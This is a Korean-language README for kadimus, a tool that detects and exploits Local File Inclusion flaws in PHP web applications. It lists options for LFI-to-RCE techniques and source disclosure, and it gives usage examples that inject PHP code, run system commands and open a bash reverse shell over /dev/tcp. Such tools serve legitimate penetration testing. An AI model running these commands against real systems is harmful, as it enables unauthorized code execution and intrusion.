
kadimus는 LFI 취약점을 확인하고 악용하는 도구입니다.
kadimus는 PHP 시스템을 중심으로 LFI 취약점을 확인하고 익스플로잇하는 도구입니다.
Features:
먼저, 시스템에 모든 종속성이 설치되어 있는지 확인하십시오: libcurl, libopenssl, libpcre 및 libssh.
그런 다음 저장소를 클론하여 소스 코드를 가져올 수 있습니다:
$ git clone https://github.com/P0cL4bs/kadimus.git
$ cd kadimus
$ make
Options:
-h, --help 이 도움말 메뉴 표시
Request:
-B, --cookie STRING 사용자 정의 HTTP 쿠키 헤더 설정
-A, --user-agent STRING 서버로 보낼 User-Agent
--connect-timeout SECONDS 연결에 허용된 최대 시간
--retry NUMBER 연결 실패 시 재시도 횟수
--proxy STRING 연결할 프록시 (구문: protocol://hostname:port)
Scanner:
-u, --url STRING 스캔/익스플로잇할 URL
-o, --output FILE 출력 결과를 저장할 파일
익스플로잇:
--parameter STRING 익스플로잇을 주입할 매개변수 이름
(RCE 데이터 및 소스 공개에만 필요)
RCE:
-T, --technique=TECH 사용할 LFI to RCE 기법
-C, --code STRING 실행할 사용자 정의 PHP 코드 (php 괄호 포함)
-c, --cmd STRING 취약한 대상 시스템에서 시스템 명령 실행
-s, --shell HTTP 요청을 통한 간단한 명령 셸 인터페이스
--connect STRING 연결할 IP/호스트명
-p, --port NUMBER 연결하거나 수신할 포트 번호
-l, --listen 바인드 및 수신 대기 (들어오는 연결 수신)
--ssh-port NUMBER 명령 주입을 시도할 SSH 포트 설정 (기본값: 22)
--ssh-target STRING SSH 호스트 설정
RCE 사용 가능 기법
environ /proc/self/environ을 사용하여 PHP 코드 실행 시도
input php://input을 사용하여 PHP 코드 실행 시도
auth /var/log/auth.log를 사용하여 PHP 코드 실행 시도
data data://text를 사용하여 PHP 코드 실행 시도
expect expect://cmd를 사용하여 명령 실행 시도
소스 공개:
-S, --source filter://를 사용하여 소스 파일 가져오기 시도
-f, --filename STRING 소스를 가져올 파일명 설정 [필수]
-O FILE 출력 파일 설정 (기본값: stdout)
./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -u localhost/?pg=contact -S -f "index.php%00" -O local_output.php --parameter pg
./kadimus -u localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -T input
./kadimus -t localhost/?pg=/var/log/auth.log -T auth -c 'ls -lah' --ssh-target localhost
RFI 오류도 확인할 수 있습니다 -- remote URL을 resource/common_files.txt에 넣고 이를 식별할 정규식을 입력하십시오. 예를 들어:
/* http://bad-url.com/shell.txt */
<?php echo base64_decode("c2NvcnBpb24gc2F5IGdldCBvdmVyIGhlcmU="); ?>
파일에서:
http://bad-url.com/shell.txt?:scorpion say get over here
./kadimus -u localhost/?pg=contact.php -T data --parameter pg -lp 12345 -c '/bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"' --retry-times 0
코드 기여 또는 기부를 통해 도움을 주실 수 있습니다. 코드로 도움을 주시려면 커널 코드 스타일을 참고하십시오.
BTC: 1PpbrY6j1HNPF7fS2LhG9SF2wtyK98GSwq